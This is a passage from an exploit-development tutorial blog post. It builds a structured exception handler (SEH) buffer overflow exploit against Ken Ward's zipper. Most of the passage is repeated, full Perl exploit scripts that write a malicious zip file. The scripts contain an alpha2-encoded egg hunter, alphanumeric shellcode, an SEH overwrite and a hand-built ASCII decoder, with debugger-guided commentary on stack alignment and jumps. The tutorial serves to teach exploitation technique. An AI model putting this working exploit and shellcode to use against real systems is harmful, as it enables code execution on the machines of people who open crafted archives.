"<span style="color: #8b0000">\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c</span>" .
"<span style="color: #8b0000">\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58</span>" .
"<span style="color: #8b0000">\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b</span>" .
"<span style="color: #8b0000">\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48</span>" .
"<span style="color: #8b0000">\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59</span>" .
"<span style="color: #8b0000">\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79</span>" .
"<span style="color: #8b0000">\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e</span>" .
"<span style="color: #8b0000">\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35</span>" .
"<span style="color: #8b0000">\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48</span>" .
"<span style="color: #8b0000">\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64</span>" .
"<span style="color: #8b0000">\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69</span>" .
"<span style="color: #8b0000">\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50</span>" .
"<span style="color: #8b0000">\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e</span>" .
"<span style="color: #8b0000">\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61</span>" .
"<span style="color: #8b0000">\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51</span>" .
"<span style="color: #8b0000">\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f</span>" .
"<span style="color: #8b0000">\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38</span>" .
"<span style="color: #8b0000">\x46\x6a\x41\x41</span>";

<span style="color: #0000ff">my</span> $rest = "<span style="color: #8b0000">D</span>" x ($size-<span style="color: #0000ff">length</span>($payload.$shellcode));

$payload=$payload.$rest.$shellcode."<span style="color: #8b0000">.txt</span>";

<span style="color: #0000ff">my</span> $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #0000ff">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #0000ff">print</span> FILE $evilzip;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>".<span style="color: #0000ff">length</span>($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . <span style="color: #0000ff">length</span>($payload)."<span style="color: #8b0000">\n</span>";</pre>
<p>As expected, after the 2 pop edx instructions were executed, edx now contains 0x0013F930.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image17.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb17.png" width="556" height="164"></a> </p>
<p>That&#8217;s great</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink43.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb43.jpg" width="200" height="100"></a> </p>
<p><em>Does everything still looks fine ?&nbsp; Are you sure ?</em></p>
<p>Look at esp too.&nbsp; Esp now points at 0013F914, and that may be too far.</p>
<p>After all, If our custom decoder reproduces 8 bytes of code, then the first bye of the reproduced 8 byte opcode will be located at&nbsp; 0x0013F914 &#8211; 8 = 0013F90C</p>
<p>That will be a problem, because there are a number of instructions (starting at 0013F908) that would prevent these instructions from getting executed.</p>
<p>When the custom decoder finishes, it will simply execute the next instructions (A&#8217;s in our case, 0&#215;41 or INC ECX), until it reaches the reproduced code.&nbsp; As we can see in the CPU view, we have some instructions that would break our execution flow (there&#8217;s the jump back, followed by 2 LEAVE instructions&#8230; in other words, if the reproduced code is written after those jump back &amp; leave instructions, we would never reach them).</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image18.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb18.png" width="561" height="253"></a> </p>
<p>So instead of doing 72 popad&#8217;s, we&#8217;ll just do 71 popads, so ESP would point 32 bytes higher. Of course, we&#8217;ll have less space to put our custom decoder, but let&#8217;s see if that really is an issue.</p>
<p>Executing only 71 popad&#8217;s will change things again :</p>
<ul>
<li>esp will point to another location (closer to the custom decoder, so that&#8217;s ok)
<li>the stack will look different after 71 popad&#8217;s vs&nbsp; 72 popad&#8217;s. So we need to rethink/rebuild the code that we need to use to get edx aligned and pointing to the egg hunter (again)</li>
</ul>
<p>Change the code (change from 72 popad&#8217;s to 71 popad&#8217;s)</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image19.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb19.png" width="573" height="128"></a> </p>
<p>After 71 popad&#8217;s are executed, (before the pop edx instructions are executed), the stack and registers look like this :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image20.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb20.png" width="571" height="349"></a> </p>
<p>Hmmm &#8211; the stack contains A&#8217;s and some other useless crap, so that&#8217;s not going to help. We can no longer take the second value from the stack.&nbsp; And there is nothing in the useful in the registers either&#8230;. </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink43.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb43.jpg" width="200" height="100"></a> </p>
<p><em>How can we get a good starting value in edx if there is nothing on the stack, and no registers point to a good value ?</em></p>
<p>&nbsp;</p>
<p>Ah well, I lied.&nbsp; There is a register that can be used.&nbsp; In fact, we can just use esp. </p>
<p>It points to a usable address, so instead of doing 2 pop edx instructions, we could also put the value from esp into edx (basically do a push esp (0&#215;54 = &#8220;T&#8221;) and pop edx.)</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb48_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb48_thumb[1]" border="0" alt="image_thumb48_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb48_thumb13_thumb.png" width="609" height="160"></a> </p>
<p>If we execute those 2 instructions after the 71 popad&#8217;s, edx contains 0x0013F8EC. In order to get to 0x0013F58E, we have to subtract 862 bytes (0x35E) from edx.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb50_thumb23.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb50_thumb[2]" border="0" alt="image_thumb50_thumb[2]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb50_thumb23_thumb.png" width="471" height="159"></a> </p>
<p>ok, so the instructions to reproduce are</p>
<ul>
<li>sub edx,0x35E&nbsp; (\x81\xea\x5e\x03\x00\x00)
<li>jmp edx (\xff\xe2) </li>
</ul>
<p>(8 bytes of opcode)</p>
<p>The custom decoder that will reproduce those instructions looks like this :</p>
<p>(I already explained how to build this encoder in the QuickZip article part 1 (on the Offensive Security Blog), so I won&#8217;t explain it again)</p>
<p><strong><u>Block 1 : reproducing&nbsp; 0&#215;00 0&#215;00 0xff 0xe2</u></strong></p>
<p>First, clear eax :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">"<span style="color: #8b0000">\x25\x4A\x4D\x4E\x55</span>".
"<span style="color: #8b0000">\x25\x35\x32\x31\x2A</span>".</pre>
<p>Next, set eax to E2FF0000 and push it to the stack</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">"<span style="color: #8b0000">\x2d\x55\x55\x55\x5F</span>".
"<span style="color: #8b0000">\x2d\x55\x55\x55\x5F</span>".
"<span style="color: #8b0000">\x2d\x56\x55\x56\x5E</span>".
"<span style="color: #8b0000">\x50</span>"</pre>
<p>= 26 bytes of code</p>
<p>&nbsp;</p>
<p><strong><u>Block 2 : reproducing 0&#215;81 0xea 0x5e 0&#215;03</u></strong></p>
<p>First, clear eax :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">"<span style="color: #8b0000">\x25\x4A\x4D\x4E\x55</span>".
"<span style="color: #8b0000">\x25\x35\x32\x31\x2A</span>".</pre>
<p>Next, set eax to 035EEA81 and push it to the stack :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">"<span style="color: #8b0000">\x2d\x2A\x5A\x35\x54</span>".
"<span style="color: #8b0000">\x2d\x2A\x5A\x36\x54</span>".
"<span style="color: #8b0000">\x2d\x2B\x61\x35\x54</span>".
"<span style="color: #8b0000">\x50</span>"</pre>
<p>= 26 bytes of code</p>
<p>Oh &#8211; by the way &#8211; in case you are still struggling to build this decoder&#8230; pvefindaddr v1.24 (and up) includes a new feature that will produce an ascii encoder for you.</p>
<p>Quick preview :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb.png" width="484" height="444"></a> </p>
<p>ok, it&#8217;s not perfect, because you will have to filter out bad characters yourself (such as 0x5C), but at least this should give you a head start.&nbsp;&nbsp; </p>
<p>Version 1.26 (and higher) of pvefindaddr will include a basic bad char filter for this decoder and will allow you to specify a file (instead of typing the bytes) that contains the shellcode bytes that need to be wrapped into a decoder too.&nbsp; Quick demo ?</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image24.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb24.png" width="485" height="485"></a> </p>
<p>Or, perhaps even better, you will also be able to do this :</p>
<p>(basically generate opcode and encode it right away :-) )</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image25.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb25.png" width="441" height="412"></a> </p>
<p>(stay tuned &#8211; this new version will be released soon)</p>
<p>&nbsp;</p>
<p>Anyways, back to where we&#8217;ve left off&#8230;&nbsp; the total size of the custom decoder is 52 bytes.&nbsp;&nbsp; </p>
<p>We already used 71 bytes for the popad instructions, and a few more bytes to get something into edx.&nbsp; That means that we cannot add the custom decoder in this block of 102 bytes ($filler2).&nbsp; </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink43.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb43.jpg" width="200" height="100"></a> </p>
<p><em>How are you going to structure the payload ?&nbsp; Where are you going to put the custom encoder ?</em></p>
<p>&nbsp;</p>
<p>Let&#8217;s find out</p>
<p>&nbsp;<a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb2311_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb2311_thumb[1]" border="0" alt="image_thumb2311_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb2311_thumb13_thumb.png" width="600" height="412"></a></p>
<p>We have to put the custom decoder into the other block of 102 bytes ($filler3), and use the remaining bytes of $filler2 (after the popad&#8217;s and edx alignment), to jump to the custom decoder at $filler 3.&nbsp; (We really have to make that jump forward because $filler3 starts with a jump back. Without the jump forward at $filler2, we would just trigger the jump back at the begin of $filler3 again, and end up in a loop. Kinda nice to see &#8211; but pretty useless at the same time).</p>
<p>The jump forward will need to be a short jump forward.&nbsp; A jump forward of about 32 bytes would be fine.&nbsp;&nbsp; </p>
<p>Since we have to use a conditional jump (character set limitation, remember ?), we need to look at the state of the flags.</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)</pre>
<p>Zero flag is 1, so we can use 0&#215;74, with an offset of let&#8217;s say 0&#215;20&nbsp; (space, valid character in our buffer).&nbsp; Let&#8217;s put 0&#215;74 0&#215;20 after the push esp / pop edx instructions, and find out where that leads us to&nbsp; :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"># Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http:<span style="color: #008000">//www.corelan.be:8800</span>
#---------------------------------------------------
<span style="color: #0000ff">my</span> $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
<span style="color: #0000ff">my</span> $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

#alpha2 encoded egg hunter - w00t - basereg EDX
<span style="color: #0000ff">my</span> $egghunter="<span style="color: #8b0000">JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA</span>".
"<span style="color: #8b0000">Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW</span>".
"<span style="color: #8b0000">LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA</span>";

<span style="color: #0000ff">my</span> $size=4064;
<span style="color: #0000ff">my</span> $<span style="color: #0000ff">offset</span>=1022;
<span style="color: #0000ff">my</span> $filename=  "<span style="color: #8b0000">Admin accounts and passwords.txt</span>".("<span style="color: #8b0000"> </span>" x 100);
<span style="color: #0000ff">my</span> $espalign="<span style="color: #8b0000">\x61</span>" x 71;  #make esp happy
<strong><font color="#ff0000">#make edx happy + jump to $filler3 (32 bytes forward)
<span style="color: #0000ff">my</span> $edxalign="<span style="color: #8b0000">\x54\x5a\x74\x20</span>";</font></strong>
<span style="color: #0000ff">my</span> $filler2 = "<span style="color: #8b0000">A</span>" x (102-<span style="color: #0000ff">length</span>($espalign.$edxalign));
<span style="color: #0000ff">my</span> $jmpback="<span style="color: #8b0000">\x74\xf7</span>";     #jump back 102 bytes - to $espalign
<span style="color: #0000ff">my</span> $filler3 = "<span style="color: #8b0000">A</span>" x (102-<span style="color: #0000ff">length</span>($jmpback));
<span style="color: #0000ff">my</span> $filler1= "<span style="color: #8b0000">A</span>" x ($<span style="color: #0000ff">offset</span> - <span style="color: #0000ff">length</span>($filename.$egghunter.
   $espalign.$edxalign.$filler2.$jmpback.$filler3));
<span style="color: #0000ff">my</span> $nseh="<span style="color: #8b0000">\x74\xf7\x90\x90</span>";   #jump back 102 bytes
<span style="color: #0000ff">my</span> $seh=<span style="color: #0000ff">pack</span>('V',0x00415A68);
<span style="color: #0000ff">my</span> $payload = $filename.$egghunter.$filler1.
$espalign.$edxalign.$filler2.
$jmpback.$filler3.
$nseh.$seh;

<span style="color: #0000ff">my</span> $shellcode = "<span style="color: #8b0000">w00tw00t</span>".
"<span style="color: #8b0000">\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49</span>" .
"<span style="color: #8b0000">\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51</span>" .
"<span style="color: #8b0000">\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32</span>" .
"<span style="color: #8b0000">\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41</span>" .
"<span style="color: #8b0000">\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54</span>" .
"<span style="color: #8b0000">\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61</span>" .
"<span style="color: #8b0000">\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56</span>" .
"<span style="color: #8b0000">\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48</span>" .
"<span style="color: #8b0000">\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f</span>" .
"<span style="color: #8b0000">\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b</span>" .
"<span style="color: #8b0000">\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51</span>" .
"<span style="color: #8b0000">\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50</span>" .
"<span style="color: #8b0000">\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54</span>" .
"<span style="color: #8b0000">\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30</span>" .
"<span style="color: #8b0000">\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61</span>" .
"<span style="color: #8b0000">\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55</span>" .
"<span style="color: #8b0000">\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56</span>" .
"<span style="color: #8b0000">\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31</span>" .
"<span style="color: #8b0000">\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39</span>" .
"<span style="color: #8b0000">\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38</span>" .
"<span style="color: #8b0000">\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38</span>" .
"<span style="color: #8b0000">\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b</span>" .
"<span style="color: #8b0000">\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74</span>" .
"<span style="color: #8b0000">\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39</span>" .
"<span style="color: #8b0000">\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f</span>" .
"<span style="color: #8b0000">\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65</span>" .
"<span style="color: #8b0000">\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a</span>" .
"<span style="color: #8b0000">\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59</span>" .
"<span style="color: #8b0000">\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c</span>" .
"<span style="color: #8b0000">\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58</span>" .
"<span style="color: #8b0000">\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b</span>" .
"<span style="color: #8b0000">\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48</span>" .
"<span style="color: #8b0000">\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59</span>" .
"<span style="color: #8b0000">\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79</span>" .
"<span style="color: #8b0000">\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e</span>" .
"<span style="color: #8b0000">\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35</span>" .
"<span style="color: #8b0000">\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48</span>" .
"<span style="color: #8b0000">\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64</span>" .
"<span style="color: #8b0000">\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69</span>" .
"<span style="color: #8b0000">\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50</span>" .
"<span style="color: #8b0000">\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e</span>" .
"<span style="color: #8b0000">\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61</span>" .
"<span style="color: #8b0000">\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51</span>" .
"<span style="color: #8b0000">\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f</span>" .
"<span style="color: #8b0000">\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38</span>" .
"<span style="color: #8b0000">\x46\x6a\x41\x41</span>";

<span style="color: #0000ff">my</span> $rest = "<span style="color: #8b0000">D</span>" x ($size-<span style="color: #0000ff">length</span>($payload.$shellcode));

$payload=$payload.$rest.$shellcode."<span style="color: #8b0000">.txt</span>";

<span style="color: #0000ff">my</span> $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #0000ff">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #0000ff">print</span> FILE $evilzip;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>".<span style="color: #0000ff">length</span>($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . <span style="color: #0000ff">length</span>($payload)."<span style="color: #8b0000">\n</span>";</pre>
<p>After the push esp/pop edx instructions are executed, we see the jump forward, which will properly jump over the jmpback code, and land in $filler3.&nbsp; So at that location (basically at $filler3 + 3 bytes padding), we can write our custom decoder.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb1211_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb1211_thumb[1]" border="0" alt="image_thumb1211_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb1211_thumb13_thumb.png" width="483" height="463"></a> </p>
<p>&nbsp;</p>
<h3>Implementing the custom decoder</h3>
<p>Let&#8217;s try :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"># Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http:<span style="color: #008000">//www.corelan.be:8800</span>
#---------------------------------------------------
<span style="color: #0000ff">my</span> $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
<span style="color: #0000ff">my</span> $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

#alpha2 encoded egg hunter - w00t - basereg EDX
<span style="color: #0000ff">my</span> $egghunter="<span style="color: #8b0000">JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA</span>".
